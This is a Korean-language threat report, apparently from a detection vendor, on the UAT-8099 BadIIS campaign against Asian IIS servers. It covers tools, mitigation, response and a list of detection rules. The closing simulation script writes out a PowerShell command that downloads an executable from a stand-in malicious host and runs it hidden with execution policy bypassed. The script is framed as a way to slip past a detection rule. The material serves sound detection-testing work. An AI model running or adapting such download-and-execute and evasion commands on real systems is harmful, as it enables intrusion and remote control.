UAT-8099의 분석: 새로운 지속성 메커니즘과 지역적 초점
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Cisco Talos는 아시아 전역의 취약한 IIS 웹 서버를 대상으로 하는 새로운 UAT-8099 캠페인을 보고했습니다. 행위자는 지역 식별자를 포함하는 맞춤형 BadIIS 변종을 배포하고 웹 셸, PowerShell 및 GotoHTTP 원격 제어 도구에 의존하여 후속 제어를 수행합니다. 지속성이 확장되어 숨겨진 로컬 계정 생성 및 합법적인 레드팀 유틸리티 사용으로 관리 활동에 혼합됩니다. 이 전술은 이전 WEBJACK 작전과 겹치고 있으며 태국과 베트남의 사이트에 영향을 미치는 SEO 사기에 초점을 맞춘 것으로 보입니다.
조사
Talos는 침입 경로를 재구축하기 위해 DNS 원격측정, 파일 해시 및 악성 스크립트를 검토했습니다. 분석가들은 웹 셸과 SoftEther VPN 및 EasyTier와 같은 도구를 결합한 것을 관찰했으며 Sharp4RemoveLog, CnCrypt Protect, OpenArk64, GotoHTTP 등 맞춤형 유틸리티 세트를 발견했습니다. 두 지역 특화된 BadIIS 변종 – IISHijack 및 asdSearchEngine -이 역공학되어 하드코딩된 국가 코드, 선택적 요청 필터링 및 XOR 암호화된 C2 구성을 드러냈습니다. 유사한 C2 도메인이 포함된 BadIIS의 ELF 빌드도 VirusTotal에서 확인되었습니다.
완화 방안
노출된 IIS 취약점을 패치하고 웹 애플리케이션 방화벽 강화를 강화하며 숨겨진 로컬 계정 생성을 모니터링하십시오(예: admin$, mysql$ 및 유사한 계정). GotoHTTP를 다운로드하거나 실행하는 PowerShell 활동을 감지하고 알려진 C2 도메인으로의 아웃바운드 통신을 차단합니다. 식별된 커스텀 유틸리티의 실행 및 웹 서버 디렉토리 내의 예상치 못한 수정 사항에 대한 알림을 제공하는 엔드포인트 제어를 사용합니다.
대응
지표가 발견되면 서버를 격리하고 웹 셸을 제거하며 숨겨진 계정을 삭제합니다. 법의학 분석을 위해 BadIIS 바이너리 및 관련 스크립트를 보존하고 C2 활동을 식별하기 위해 전체 네트워크 트래픽 검토를 수행합니다. 다시 감염을 방지하기 위해 알려진 정상 백업에서 복원하고 IIS 구성을 다시 강화합니다.
공격 흐름
탐지
파워셸을 통한 다운로드 또는 업로드 (cmdline 통해)
Proof of Value
공개 사용자 프로필의 의심스러운 파일 (file_event 통해)
Proof of Value
가능한 계정 또는 그룹 열거 (cmdline 통해)
Proof of Value
GotoHTTP 배포를 위한 PowerShell 명령 실행 감지 [Windows PowerShell]
Proof of Value
SEO 사기를 위한 IIS 서버를 대상으로 하는 BadIIS 악성코드 탐지 [웹 서버]
Proof of Value
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 항공 전검사를 완료해야 합니다.
-
공격 서사와 명령:
공격자는 침해된 웹 서버에 초기 발판을 마련했습니다. 그들은 IIS 웹 루트 하에 숨겨진 디렉토리인bad_iis을 생성하고 사용자 지정 이름의 웹 셸 바이너리인shell_xyz.exe(“웹 셸”이라는 문자열 회피)을 설치하고 나중에 GotoHTTP 바이너리를 다운로드하는 PowerShell 페이로드를 측면 실행합니다. 이를svc_update.exe로 이름을 변경하고 실행합니다. 이미지 이름이 난독화되었기 때문에 원래 규칙의Image|contains검사가 우회되지만, 명령줄에는 여전히 ‘PowerShell’이 포함되어 있습니다. -
회귀 테스트 스크립트: 이 스크립트는 설명된 단계를 재현하고 BadIIS 공격과 유사한 텔레매트리를 생성합니다. 정확히 규칙이 주시하는 문자열을 사용하지 않습니다.
# BadIIS simulation – obfuscated version $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Deploy a renamed web‑shell (binary copy of a known benign exe) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simulate the web‑shell invoking PowerShell to download GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Execute the PowerShell payload via the renamed web‑shell (process creation) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "BadIIS simulation executed." -
정리 명령: 심어진 흔적을 제거하고 환경을 복원합니다.
# Cleanup BadIIS simulation artifacts $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Cleanup completed."